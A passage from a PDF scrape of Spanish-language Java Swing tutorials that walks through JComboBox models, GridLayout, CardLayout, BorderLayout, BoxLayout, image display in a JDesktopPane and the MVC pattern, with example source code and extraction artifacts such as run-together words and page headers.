i<frameDemoCombo.regionColombia.length;i++)
frameDemoCombo.jComboBox2.addItem(frameDemoCombo.regionColombia[i]);frameDemoCombo.jComboBox2.setEnabled(true);}
/*pregunta si viene del cuarto elemnto*/if (frameDemoCombo.jComboBox1.getSelectedIndex()==3){
frameDemoCombo.jComboBox2.removeAllItems();for (int i=0; i<frameDemoCombo.regionPeru.length;i++)
frameDemoCombo.jComboBox2.addItem(frameDemoCombo.regionPeru[i]);frameDemoCombo.jComboBox2.setEnabled(true);}
}}
}
Y listo ahora , compilar (javac *.java) y Listo, al ejecutar (java WindowDemoCombo),debe aparecer esta pantalla:
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 134/169
Selecionamos y se activara el segundo combo, con sus respectivos valores del primero.
Funciona!, Espero les sea de utilidad.
Saludos.
Aprendiendo con JComboBox… Parte 2
JComboBox, es un componente swing, y como tal, podemos crear nuestro propio modelode datos al momento de crear y manipular a este componente(en este caso: jComboBox).Puedes leer MVC en Java para darte la idea general.
En este caso, el ejercicio intenta mostrar la forma sencilla al momento de implementarnuestro propio Modelo de datos para un componente JComboBox.
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 135/169
El ejercicio consiste, en una tipica ―barra de direcciones de un navegador‖, ingresas la
direccion, entras a la pagina, luego el navegador comprueba si existe la direccion,en el casode no existir, agrega la direccion de la pagina a la barra de direcciones, para un posteriorfacil acceso.
Bien, para este ejercicio implementaremos 3 clase. la vista(WindowDemoEditaCombo), elcontrol(ControlDemoEditaCombo), y el Modelo del JComboBox (ModeloCombo).
WindowDemoEditaCombo, esta es la clase, que dibuja los componentes swing; En este
caso para crear un JComboBox, necesario primero crear nuestro modelo, el cual recibe unacadena de caracteres, los mismos que seran mostrados como items en el combo.
String [] urls ={"www.java.com","inforux.wordpress.com","www.debian.com"};modeloCombo = new ModeloCombo(urls);jComboBox1 = new JComboBox(modeloCombo);
Aqui el fuente de la vista(la clase WindowDemoEditaCombo).
import javax.swing.*;public class WindowDemoEditaCombo extends javax.swing.JFrame {
public WindowDemoEditaCombo() {/*el constructor de la clase*/initComponents();}
private void initComponents() {setResizable(false);jPanel1 = new JPanel();jLabel2 = new JLabel();modeloCombo = new ModeloCombo(urls);//creamos nuestro modelo del
CombojComboBox1 = new JComboBox(modeloCombo);//creamos el jComboBox,
le enviamos el modelo.jComboBox1.setEditable(true);//le decimos q sea editable
jComboBox1.setSelectedIndex(0);jTextField1 = new JTextField();jTextField1.setEditable(false);//le decimos q sea NO editablejButton1 = new JButton();jLabel1 = new JLabel();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);getContentPane().setLayout(null);
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 136/169
jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder("Aprendiendo con JComboBox2"));
jPanel1.setLayout(null);
jLabel2.setText("Direccion Web:");jPanel1.add(jLabel2);jLabel2.setBounds(10, 40, 110, 20);
jPanel1.add(jComboBox1);jComboBox1.setBounds(110, 40, 230, 24);jPanel1.add(jTextField1);jTextField1.setBounds(60, 80, 350, 19);
jButton1.setText("Go");jPanel1.add(jButton1);jButton1.setBounds(350, 40, 70, 25);
getContentPane().add(jPanel1);jPanel1.setBounds(10, 30, 440, 120);
jLabel1.setText("DEMO POR INFORUX");getContentPane().add(jLabel1);jLabel1.setBounds(170, 10, 150, 20);
java.awt.Dimension screenSize =java.awt.Toolkit.getDefaultToolkit().getScreenSize();
setBounds((screenSize.width-471)/2, (screenSize.height-190)/2,471, 190);
/*Creamos el objeto controlador de eventos de esta clase*/ControlDemoEditaCombo controlDemoEditaCombo = new
ControlDemoEditaCombo(this);jComboBox1.addActionListener(controlDemoEditaCombo);jButton1.addActionListener(controlDemoEditaCombo);
}
public static void main(String args[]) {new WindowDemoEditaCombo().setVisible(true);}
// declaramos las variables a usar en la ventanapublic String [] urls = {"Escriba o
Selecione","www.java.com","inforux.wordpress.com","www.debian.com"};//creamos el array, q sera enviado a nuestro propio modelo.
ModeloCombo modeloCombo;//Declaramos nuestro modelopublic JButton jButton1;public JComboBox jComboBox1;
private JLabel jLabel1;private JLabel jLabel2;private JPanel jPanel1;public JTextField jTextField1;
}
ControlDemoEditaCombo, es la clase controladora de los eventos q generara el usuario conla aplicacion. por tal motivo implementa los metodos de las clases ActionListener..
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 137/169
Aqui el fuente:
import java.awt.event.*;public class ControlDemoEditaCombo implements ActionListener{
WindowDemoEditaCombo frame;
/*el constructor de la clase*/public ControlDemoEditaCombo(WindowDemoEditaCombo objeto){frame=objeto;//recibe el objeto a controlar
}
public void actionPerformed(ActionEvent evento){
if (evento.getSource()==frame.jButton1 ||evento.getSource()==frame.jComboBox1)
{String
cadenaSelecionada=frame.modeloCombo.getSelectedItem().toString();frame.jTextField1.setText("Direccion Web:
"+cadenaSelecionada);//muestra en l jTextFile lo selecionadoif (frame.modeloCombo.buscaItem(cadenaSelecionada)==
false)
frame.modeloCombo.agregaItem(frame.jComboBox1.getSelectedItem().toString());
}}
}
ModeloCombo, es la clase modelo del componente JComboBox. cualquier cambiorealizado en dicha clase, se vera reflejado en el componente JComboBox.
Para crear esta clase, hayq tener en cuenta q sera una clase abstracta, es decir, no sabra en qcomponente se vera reflejado, ademas esta misma debera heredar de la clase―AbstracListModel‖.
Porq heredar de AbstracListModel? .- Sencillamente porque accedesmo a los metodos masgenerales, y nos permite implementar metodos propios, segun nuestras necesidades.
Tambien debera implementar algunos metodos de la clase ComboBoxModel,
Porq implemenar algunos metodos de la clase ComboBoxModel? .- Porq el componente
swing es un JComboBox. y es un componente algo especial, ya q es una combinacion delistas con botones, ademas para acceder a los metodos ―getSelectedItem()‖ y―setSelectedItem()‖.
En nuestro caso, aparte de los metodos implementados de la clase ComboBoxModel,hemos codificado algunos metodos adicionales, segun la necesidad del ejercicio.
Aqui el fuente:
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 138/169
import javax.swing.AbstractListModel;import javax.swing.ComboBoxModel;class ModeloCombo extends AbstractListModel implements ComboBoxModel{boolean loEncontro;String [] items = null;//cadena q recibira los datos a mostrar.String itemSelecionado=null;public ModeloCombo (String [] vector){
items = vector;}
public Object getElementAt(int index) {return items[index];
}
public int getSize() {return items.length;
}
public void setSelectedItem(Object item) {itemSelecionado = (String) item;
fireContentsChanged(this, -1, -1);}
public void agregaItem(String cadena){String [] nuevoItems= new String [items.length+1];
for (int i=0;i<items.length;i++)nuevoItems[i]=items[i];
nuevoItems[items.length]=cadena;items=nuevoItems;fireContentsChanged(this, -1, -1);
}
public boolean buscaItem(String itemABuscar){for(int i=0;i<items.length;i++){
if (itemABuscar==items[i]){loEncontro=true;break;}
else {loEncontro=false;}
}return loEncontro;
}
public Object getSelectedItem() { //metodo implementado por lainterface JComboBoxModel
return itemSelecionado;}
}
Bien, una compilada, y listo.
$javac WindowDemoEditaCombo.java$java WindowDemoEditaCombo
Listo, aqui algunos pantallazos:
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 139/169
La idea de esta entrada, es mostrar la eficacia q tenemos si es que nos animamos aimplementar nuesto propio modelo de datos para los componentes swing.
Espero les sirva a mas de uno.
Un saludos.
JAVA: Practicando con GridLayout.
GridLayout, no es mas q otro manejador de disenio, la cual su partcularidad, conciste encrear una matriz, totalmente configurada.
Primero tenemos que crear el contenedor(JFrame, JPanel, etc), y luego atravez del metodo―setLayout()‖ asignarle el layout correspondiente:
JFrame frame = new JFrame();frame.setLayout(new GridLayout(Filas, Columnas));
Tambien podemos indicar el espacio entre cada objeto de la matriz.
frame.setLayout(new GridLayout(Filas, Columnas,EspacioEntreFilas,EspacioEntreColumnas));
Creoq con un ejemplo, se entenderia mejor.
PAra el ejemplo, he intentado, realizar una pantalla de calculadora…jejeje,
Aqui el fuente.
/*Demo hecho por INFORUX*/import javax.swing.JTextField;
import javax.swing.JButton;import javax.swing.JPanel;import java.awt.FlowLayout;import java.awt.GridLayout;import javax.swing.JFrame;import javax.swing.JLabel;import javax.swing.BoxLayout;import javax.swing.WindowConstants;
public class DemoGridLayout{
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 140/169
JFrame frame;JPanel panelSuperior, panelInferior;JButton bt1, bt2, bt3, bt4, bt5, bt6, bt7, bt8, bt9, bt0, btRT, btCE,
btCL, btMas, btMenos, btMul, btDiv, btIgual, btMN, btPunto;JTextField pantalla;
public DemoGridLayout(){construyePanelSuperior();construyePanelInferior();construyeVentana();}
void construyePanelSuperior(){panelSuperior = new JPanel ();panelSuperior.setLayout(new FlowLayout());pantalla = new JTextField(20);panelSuperior.add(pantalla);}
void construyePanelInferior(){panelInferior= new JPanel();
panelInferior.setLayout(new GridLayout(5,4,8,8));bt1=new JButton("1");bt2=new JButton("2");bt3=new JButton("3");bt4=new JButton("4");bt5=new JButton("5");bt6=new JButton("6");bt7=new JButton("7");
bt8=new JButton("8");bt9=new JButton("9");bt0=new JButton("0");btRT=new JButton("Rtc");btCE=new JButton("CE");btCL=new JButton("CL");btMas=new JButton("+");btMenos=new JButton("-");btMul=new JButton("x");btDiv=new JButton("/");btIgual=new JButton("=");btMN=new JButton("+/-");btPunto=new JButton(".");panelInferior.add(btRT);panelInferior.add(btCE);panelInferior.add(btCL);panelInferior.add(btMN);panelInferior.add(bt7);panelInferior.add(bt8);
panelInferior.add(bt9);panelInferior.add(btDiv);panelInferior.add(bt4);panelInferior.add(bt5);panelInferior.add(bt6);panelInferior.add(btMul);panelInferior.add(bt1);panelInferior.add(bt2);panelInferior.add(bt3);panelInferior.add(btMenos);
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 141/169
panelInferior.add(bt0);panelInferior.add(btPunto);panelInferior.add(btIgual);panelInferior.add(btMas);}
void construyeVentana(){frame =new JFrame("Calculadora ");frame.setLayout(new
BoxLayout(frame.getContentPane(),BoxLayout.Y_AXIS));frame.add(panelSuperior);frame.add(panelInferior);frame.pack();frame.setVisible(true);frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);}
public static void main(String [] inforux){new DemoGridLayout();}
}
Una compilada, y ejecutamos.
javac DemoGridLayout.javajava DemoGridLayout
El resultado sera asi.
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 142/169
La idea, es manejar el GridLayout.
Saludos.
Imagenes en JAVA en un JDesktopPane.
Imagenes en java, es quiza algo muy tedioso. sin embargo, existe formas muy practicas, decomo poner una imagen de fondo a tu aplicacion atravez de un JDesktopPane.
Por eso en esta oportunidad mostrare un ejemplo de seleciones de imagenes dentro de unJDesktopPane,
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 143/169
La idea general es impleementar 3 clases(WindowImagenes, ControlaEventos,PintaImagen). La primera clase(WindowImagenes.java) es la interactua con el usuario,mejro dicho la ventana. La segunda clase(ControlaEventos.java), como su mismo nombre,es la encargada de controlar las acciones ocurridas en la ventana. La terceraclase(PintaImagen.java), es la clase que me permite pintar la imagen en algun como
componente java (en este caso jDesktopPane).
La primera clase(WindowImagenes), creamos objetos del tipo ―File‖ y le damos la ruta de
nuestra imagen.
public File imagen1 = new File ("Images/java.png");
Aqui el fuente de WindowImagenes.java
import javax.swing.*;import java.io.File;public class WindowImagenes extends JFrame {
public WindowImagenes() {initComponents();
}
private void initComponents() {
buttonGroup1 = new ButtonGroup();jPanel1 = new JPanel();jRadioButton1 = new JRadioButton();jRadioButton2 = new JRadioButton();jRadioButton3 = new JRadioButton();jPanel2 = new JPanel();jDesktopPane1 = new JDesktopPane();jLabel1 = new JLabel();
setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);setTitle("http://inforux.wordpress.com");getContentPane().setLayout(null);
jPanel1.setBorder(BorderFactory.createTitledBorder("Selecione laImagen"));
jPanel1.setLayout(null);
jRadioButton1.setText("Imagen 1");jPanel1.add(jRadioButton1);jRadioButton1.setBounds(30, 20, 83, 23);
jRadioButton2.setText("Imagen 2");jPanel1.add(jRadioButton2);jRadioButton2.setBounds(170, 20, 83, 23);
jRadioButton3.setText("Imagen 3");jPanel1.add(jRadioButton3);jRadioButton3.setBounds(290, 20, 114, 23);
/*agregamos al ButtonGroup los JRadioButtons*/
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 144/169
buttonGroup1.add(jRadioButton1);buttonGroup1.add(jRadioButton2);buttonGroup1.add(jRadioButton3);getContentPane().add(jPanel1);jPanel1.setBounds(20, 50, 440, 60);
jPanel2.setBorder(BorderFactory.createTitledBorder("Imagen en elJDesktopPane"));
jPanel2.setLayout(null);jPanel2.add(jDesktopPane1);jDesktopPane1.setBounds(20, 30, 390, 270);
getContentPane().add(jPanel2);jPanel2.setBounds(20, 120, 440, 330);
jLabel1.setText("DEMO POR INFORUX");getContentPane().add(jLabel1);jLabel1.setBounds(170, 20, 170, 20);
java.awt.Dimension screenSize =
java.awt.Toolkit.getDefaultToolkit().getScreenSize();setBounds((screenSize.width-488)/2, (screenSize.height-493)/2,488, 493);
ControlaEventos controlaEventos =new ControlaEventos(this);jRadioButton1.addActionListener(controlaEventos);jRadioButton2.addActionListener(controlaEventos);jRadioButton3.addActionListener(controlaEventos);
}
public static void main(String args[]) {new WindowImagenes().setVisible(true); }
public File imagen1 = new File ("Images/java.png");public File imagen2 = new File ("Images/JavaAnimado.gif");public File imagen3 = new File ("Images/JavaLoro.jpg");public JRadioButton jRadioButton1;public JRadioButton jRadioButton2;public JRadioButton jRadioButton3;private ButtonGroup buttonGroup1;public JDesktopPane jDesktopPane1;private JLabel jLabel1;private JPanel jPanel1;private JPanel jPanel2;
}
La segunda clase,recibe un objeto de la clase q controlara(en este caso WindowImagenes),
ademas manejara todos los eventos realizados en la ventana. Por otro lado implementara elmetodo ―cargarImagen()‖, el cual recibe, un JDesktopPane, y el archivo Imagen, luego
atravez de la clase ImageIO, podremos leer el archivo, como archivo imagen. para luegoagregarlo al jDesktopPane con el metodo ―setBorder()‖
BufferedImage image = ImageIO.read(fileImagen);jDeskp.setBorder(new PintaImagen(image));
Aqui el fuente de ControlaEventos.java
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 145/169
import java.awt.event.*;import java.io.File;import java.awt.image.BufferedImage;import javax.imageio.ImageIO;public class ControlaEventos implements ActionListener{/*claseescuchadora de nuestra vista*/
WindowImagenes ventana;/*declaramos un objeto de la claseWindowImagenes*/
public ControlaEventos(WindowImagenes objeto){ventana = objeto;
}public void actionPerformed(ActionEvent evento){
if (evento.getSource()== ventana.jRadioButton1)cargarImagen(ventana.jDesktopPane1,ventana.imagen1);
else {if (evento.getSource()== ventana.jRadioButton2)
cargarImagen(ventana.jDesktopPane1,ventana.imagen2);else {if (evento.getSource()== ventana.jRadioButton3)
cargarImagen(ventana.jDesktopPane1,ventana.imagen3);}}
}/*este metodo recibe el jdeskopPane y el archivo imagen*/public void cargarImagen(javax.swing.JDesktopPane jDeskp,File
fileImagen){
try{BufferedImage image = ImageIO.read(fileImagen);
jDeskp.setBorder(new PintaImagen(image)); }catch (Exception e){ System.out.println("No cargo imagen,
sorry"); }}
}
La ultima clase(PintaImagen.java), es la permite preparar la imagen para ser agregados a uncomponente en este caso del tipo JDesktopPane, esta debera implementar de la ClaseBorder, obligandonos a llamar a 3 metodos ―paintBorder()‖, ―getBorderInsets()‖ y
―isBorderOpaque()‖.
Aqui el fuente:
import java.awt.Component;import java.awt.Graphics;
import java.awt.Insets;import java.awt.image.BufferedImage;import javax.swing.border.Border;
public class PintaImagen implements Border{
private BufferedImage image ;
public PintaImagen(BufferedImage image ) {this.image=image;}
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 146/169
public void paintBorder(Component c, Graphics g, int x, int y, int
width, int height) {int x0 = x+ (width-image.getWidth())/2;int y0 = y+ (height-image.getHeight())/2;g.drawImage(image,x0,y0,null); }
public Insets getBorderInsets(Component c) {return new Insets(0,0,0,0);}
public boolean isBorderOpaque() {return true; }
}
Luego, compilamos, sin antes asegurarnos de haber dado la ruta correcta del directotio decarptas para los obejros ―File‖ en la clase WindowImagenes
$jjavac WindowImagenes.java
Listo, aqui los pantallazos:
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 147/169
Espero les sirva a mas de uno.
Saludos
Modelo – Vista – Controlador (MVC) para tusAplicaciones JAVA
Desde hace mucho tiempo, es que utilizo MVC para mis aplicaciones JAVA. y en estaocacion tratare de mostrarle con plabras sencillas, ―La idea general del MVC‖.
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 148/169
MVC (Modelo-Vista-Controlador), en palabras simples, es la forma(Patron de Disenio) queutilizamos los programadores para implementar nuestras aplicaciones, ademas permiteseparar nuestra aplicacion en un modelo, una vista y con controlador. este patron fueintroducido por primera vez en el lenguaje ―Smalltalk‖.
3 tipos de entidades, cada una especialida en su tarea.
Modelo:
Es el encargo de administrar la logica de tu aplicacion. tiene como finalidad servir deabstracccion de algun proceso en el mundo real, ademas tiene acceso a nuestra Base deDatos, agregando q tiene las funciones que controlan la integridad del sistema.
Vista
Sencillamente es la representacion visual del modelo. Es la encargada de representar los
componentes visuales en la pantalla, Esta asociada a un Modelo, esto le permite que almomento de cambiar el Modelo, la vista redibujara la parte efectada para reflejar loscambios.
Controlador
Es el escuchador a los eventos que genere el usuario, es decir es el que permite queinteractuen el usuario con el sistema. Interpreta los eventos (la entradas) atravez del tecladoy/o raton.
Por que usar MVC?
Porque fue diseñada para reducir el esfuerzo al momento de programar. Ademas porquepermite una clara separación entre los componentes de un programa; lo cual nos permiteimplementarlos por separado.
Permite el trabajo en equipo.
Java implementa MVC?
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 149/169
Con decir, que la mayoria de los componentes SWING, han tomado como patron deDisenio a MVC , esto es una gran ventaja para los programadores, porque nos permiteimplementar nuestro PROPIO modelo de datos para cada componente swing.
Sin embargo es bueno recordar que El modelo original MVC prescribía un alto
acoplamiento entre controladores y vistas.
Por que es recomendable tener nuestro Propio Modelo de Datos para nuestros
Compoonentes Swing?
Swing se basa en un modelo MVC, donde la mayor parte de componentes de interfaz(JTable, JList, JComboBox, etc.) tienen un modelo de datos por defecto. Si nos limitamos ausar el modelo propio estaremos utilizando los modelos por defecto de Swing. yobviamente estos modelos utilizan la clase java.util.Vector para el almacenamiento de losdatos lo que provocará que nuestros interfaces pierdan ahorro de recursos.
Por otro lado, mvc nos permite utilzar de la forma que queramos a cualquier componenteswing con tan solo implementar nuestro propio modelo. es decir nos ofrece la posibilidadde trabajar con componentes más eficientes .
Espero haya quedado la idea general, de implementar nuestras aplicaciones tomando comopatron de disenio a MVC.
JAVA: Practicando con CardLayout
CardLayout, es un manejador de disenio que nos permite, ubicar componentes swingdentro de un mismo contenedor, y poder visualizarlos solamente uno a la vez.
Este layout es usado por los JTabbedPane, con la diferencia de la separacion de los bordesde cada panel.
Es decir, podemos tener un contenedor pricipal, y dentro de el, varios paneles, y atravezde una seleccion, elegir cual de estos paneles queremos q se visualize.
Primero tenemos que crear el contenedor(JFrame, JPanel, etc), y luego atravez del metodo―setLayout()‖ asignarle el layout correspondiente.
JFrame frame = new JFrame();
frame.setLayout(new CardLayout());
Una vez, asiganado el layout al contenedor, tendremos q agregar los componentes,plenamente ya declarados y creados.
Para agregar necesitamos 2 argumentos, el objeto a agregar, y un nombre referencial alelemento agregado
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 150/169
JPanel panel = new JPanel();JPanel pane2 = new JPanel();frame.add(panel, referenciaPanel1);frame.add(pane2, referenciaPanel2);
Sencilo no?, espera, hay unos metodos basicos e importantes, al momento de manejar los
eventos, como son.
first (nombreContenedor) -> metodo q permite visualizar el primer objeto agregado
next (nombreContenedor) -> metodo q permite visuliza el objeto siguiente.
previous (nombreContenedor) -> permite visualizar el objeto anterior
show (nombreContenedor, referenciaPanel) -> permite visualizar un obejto especificado,aqui necesitamos el nombre del contenedor y el nombre referencial asignado al momentode agregarlo.
Para esta entrada he preparado un ejemplo clasico, para situaciones clasicas…jejee
La aplicacio, contiene, 1 JFrame principal, 1 PanelSuperior incluido en el JFrame,1
JComboBox incluido en el PanelSuperior, 1 PanelInferior incluido en el JFrame, y 3
paneles incluidos en el PanelInferior.
El ejemplo consciste en que atravez de un JComboBox, seleccionaremos un elemento de la
lista, y segun el elemento seleccionado, cambiara el panel inferior mostrando uno de los
paneles incluidos en el., es decir, el panel ira cambiando segun la seleecion del elemento
de la lista del JComboBox.
YA q en este ejericcio he utilizado manejo de eventos, he trabajado con 2 clases, la primera
(WindowCardLayout) es la interfaz de usuario y la segunda (ControlCardLayout) la q
maneja los eventos de la primera.
Aqui el fuente.WindowCardLayout
import javax.swing.JButton;import javax.swing.JLabel;import javax.swing.JTextField;import javax.swing.JPanel;import javax.swing.BoxLayout;
import javax.swing.JFrame;import javax.swing.JComboBox;import javax.swing.WindowConstants;import javax.swing.BorderFactory;import java.awt.FlowLayout;import java.awt.CardLayout;import java.awt.Color;
public class WindowCardLayout{
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 151/169
JFrame frame;CardLayout cardLayout;JPanel panelSuperior, panelInferior,panelInf1, panelInf2, panelInf3;JLabel etiqueta, etiqueta1, etiqueta2,etiqueta3;JComboBox combo;String [] vectorCadena = {"panel1","panel2","panel3"};
public WindowCardLayout(){/*Constructor*/construyePanelSuperior();construyePanelInf1();construyePanelInf2();construyePanelInf3();construyePanelInferior();construyeVentana();}
public void construyePanelSuperior(){etiqueta = new JLabel("Elegir Opcion");panelSuperior=new JPanel();panelSuperior.setBorder(BorderFactory.createTitledBorder("Demo
por INFORUX"));
combo = new JComboBox(vectorCadena);panelSuperior.setLayout(new FlowLayout());panelSuperior.add(etiqueta);panelSuperior.add(combo);panelSuperior.getPreferredSize();}
public void construyePanelInferior(){panelInferior= new JPanel();panelInferior.setBorder(BorderFactory.createTitledBorder("Panel
Inferior"));cardLayout=new CardLayout();panelInferior.setLayout(cardLayout);/*Al agregar necesitamos 2 argumentos, el objeto a agregar y un
nombre referencial */panelInferior.add(panelInf1, "panel1");panelInferior.add(panelInf2, "panel2");panelInferior.add(panelInf3, "panel3");}
public void construyePanelInf1(){etiqueta1 = new JLabel("Has Seleccionado el Panel 1");panelInf1 = new JPanel(new FlowLayout());panelInf1.setBackground(Color.white);panelInf1.add(etiqueta1);}
public void construyePanelInf2(){etiqueta2 = new JLabel("increiblemente estas viendo el panel2");panelInf2 = new JPanel(new FlowLayout());
panelInf2.setBackground(Color.orange);panelInf2.add(etiqueta2);}
public void construyePanelInf3(){etiqueta3 = new JLabel("CardLayout permite solo uno a la vez,
esta vez el panel 3");panelInf3 = new JPanel(new FlowLayout());panelInf3.setBackground(Color.green);panelInf3.add(etiqueta3);}
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 152/169
public void construyeVentana(){frame= new JFrame();frame.setLayout(new
BoxLayout(frame.getContentPane(),BoxLayout.Y_AXIS));frame.add(panelSuperior);frame.add(panelInferior);frame.getPreferredSize();frame.pack();frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);frame.setVisible(true);//creamos el objeto controlador de eventosControlCardLayout control= new ControlCardLayout(this);combo.addActionListener(control);}
public static void main (String [] inforux){new WindowCardLayout();
}
}
Aqui el fuente ControlCardLAyout
import java.awt.event.ActionEvent;import java.awt.event.ActionListener;
public class ControlCardLayout implements ActionListener{
WindowCardLayout ventana;public ControlCardLayout( WindowCardLayout frame){
ventana = frame ;}
public void actionPerformed (ActionEvent evento){if (evento.getSource()==ventana.combo){if (ventana.combo.getSelectedIndex()==0){
ventana.cardLayout.show(ventana.panelInferior, "panel1");}if (ventana.combo.getSelectedIndex()==1){
ventana.cardLayout.show(ventana.panelInferior, "panel2");}if (ventana.combo.getSelectedIndex()==2){
ventana.cardLayout.show(ventana.panelInferior,"panel3");}}
}}
Listo una compilada y ejecutamos
$ javac WindowCardLayout.java$ java WindoCardLayout
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 153/169
El resultado sera asi:
JAVA: Practicando con BorderLayout
Seguimos con los layouts. Recordar que para entender este ejemplo es necesario chekear las
anteriores explicaciones sobre FlowLayout y BoxLayoutLayout
BorderLayout, es un layout que ubica los componentes en cualquiera de sus 5 regiones quetiene..
Un componente podemos ubicarlo arriba, abajo, izquierda o a la derecha.
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 154/169
Para establecer a BorderLayout como manegador de Disenio,
JFrame frame = new JFrame();frame.setLayout(new BorderLayout());
Luego para agregar los componentes
frame.add(etiqeuta, BorderLayout.CENTER);frame.add(botonIzquierdo,BorderLayout.WEST);frame.add(botonDerecho,BorderLayout.EAST);frame.add(cajaTexto,BorderLayout.NORTH);frame.add(panelInferior,BorderLayout.SOUTH);
No es obligatorio, llenar todas las regiones, en el caso de existir alguna region sincomponente, esta region visiblemente se anulara, es importante esto, ya que si enviamos uncomponente al centro, y no enviamos nada en la parte izquierda(WESTH), entonces, elcomponente enviado al centro se visaluizara en la parte WESTH.
En el ejemplo siguiente se tiene, un JFrame, este mismo los ordenara atravez de unBorLayout, En el norte, ira una JLabel, en el centro un JTextAre, y en el sur, este y eloeste un panel para cada region.
Cada panel, ubicara sus componentes de la forma que noosotros queramos, en este caso eldel sur, atravez de un flowLayout, y el de este y oeste con un BoxLayout.
Aqui el demo
import java.awt.BorderLayout;import java.awt.Color;import java.awt.Container;import java.awt.FlowLayout;import java.awt.Font;import javax.swing.BoxLayout;import javax.swing.JButton;import javax.swing.JFrame;
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 155/169
import javax.swing.JLabel;import javax.swing.JPanel;import javax.swing.JScrollPane;import javax.swing.JTextArea;import javax.swing.JTextField;import javax.swing.WindowConstants;
public class DemoBorderLayout {//variables y comtenedoresprivate JLabel etiquetaSu;private JPanel panelIzquierdo, panelDerecho, panelInferior;private JButton botonIz1, botonIz2, botonIz3;private JButton botonDe1, botonDe2, botonDe3;private JButton botonIn1, botonIn2;private JScrollPane scroll;
public void contruyePanelIzquierdo(){panelIzquierdo = new JPanel();botonIz1=new JButton("Izq1");botonIz2=new JButton("Izq2");
botonIz3=new JButton("Izq3");panelIzquierdo.setLayout(newBoxLayout(panelIzquierdo,BoxLayout.Y_AXIS));
panelIzquierdo.setBackground(Color.red);panelIzquierdo.add(botonIz1);panelIzquierdo.add(botonIz2);panelIzquierdo.add(botonIz3);
}
public void contruyePanelDerecho(){panelDerecho = new JPanel();botonDe1=new JButton("Der1");botonDe2=new JButton("Der2");botonDe3=new JButton("Der3");panelDerecho.setLayout(new
BoxLayout(panelDerecho,BoxLayout.Y_AXIS));panelDerecho.setBackground(Color.blue);panelDerecho.add(botonDe1);panelDerecho.add(botonDe2);panelDerecho.add(botonDe3);
}
public void contruyePanelInferior(){panelInferior = new JPanel();botonIn1=new JButton("Aceptar");botonIn2=new JButton("Cancelar");panelInferior.setLayout(new FlowLayout());
panelInferior.setBackground(Color.green);panelInferior.add(botonIn1);panelInferior.add(botonIn2);
}
public void contruyeVentana(){JFrame frame = new JFrame();scroll = new JScrollPane(new JTextArea("JTextArea",10,15));etiquetaSu = new JLabel("Demostracion por INFORUX ");Font aux=etiquetaSu.getFont();
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 156/169
etiquetaSu.setFont(new Font(aux.getFontName(), aux.getStyle(),20));
frame.setLayout(new BorderLayout());
//agregamos los paneles al frame principalframe.add(etiquetaSu,BorderLayout.NORTH);frame.add(scroll, BorderLayout.CENTER);frame.add(panelIzquierdo,BorderLayout.WEST);frame.add(panelDerecho,BorderLayout.EAST);frame.add(panelInferior,BorderLayout.SOUTH);//Configuramos el frameframe.pack();frame.setVisible(true);frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
}
public DemoBorderLayout(){contruyePanelInferior();contruyePanelIzquierdo();contruyePanelDerecho();
contruyeVentana();}
public static void main (String [] inforux){new DemoBorderLayout();
}}
Compilamos y ejecutamos.
$javac DemoBorderLayout.java$java DemoBorderLayout
El resultador ser asi
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 157/169
En esta interfaz de usuario, solo se empleo los layouts, explicados FlowLayout, BoxLayouty BorderLayout.
Sencillo.
PD: La API completa de BorderLayout
JAVA: Practicando con BoxLayout
BoxLayout, es un Layout recontra parecido al FlowLayout, cual es la diferencia? es simple,FlowLayout ubica todos los componentes solo de forma horizontal, mientras queBoxLayout los ubica, tanto horizontal como vertical.
Para crear una clase BoxLayout, necesitamos 2 argumentos: el objeto contenedor, y la claseque indica la forma de como ordenara los componetes,.
BoxLayout.X_AXIS —– Forma Horizontal
BoxLayout.Y_AXIS —– Forma Vertical
JFrame frame = new JFrame();frame.setLayout(new BoxLayout(frame,BoxLayout.X_AXIS));
Luego para agregar los componentes es simple, lo mismo como hicimos con FlowLayout.
JButton boton = new JButton("Aceptar");frame.add(boton);
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 158/169
Aqui tengo un ejemplo, sobre una clasica ventana de logueo, cabe destacar q para esteejemplo demostrativo, solo me limite a usar BoxLayout.
La idea general, es crear un JFrame geeneral, el cual tendra 3 paneles y una etiqueta,Estos estaran ordenados con BoxLayout en forma vertical.
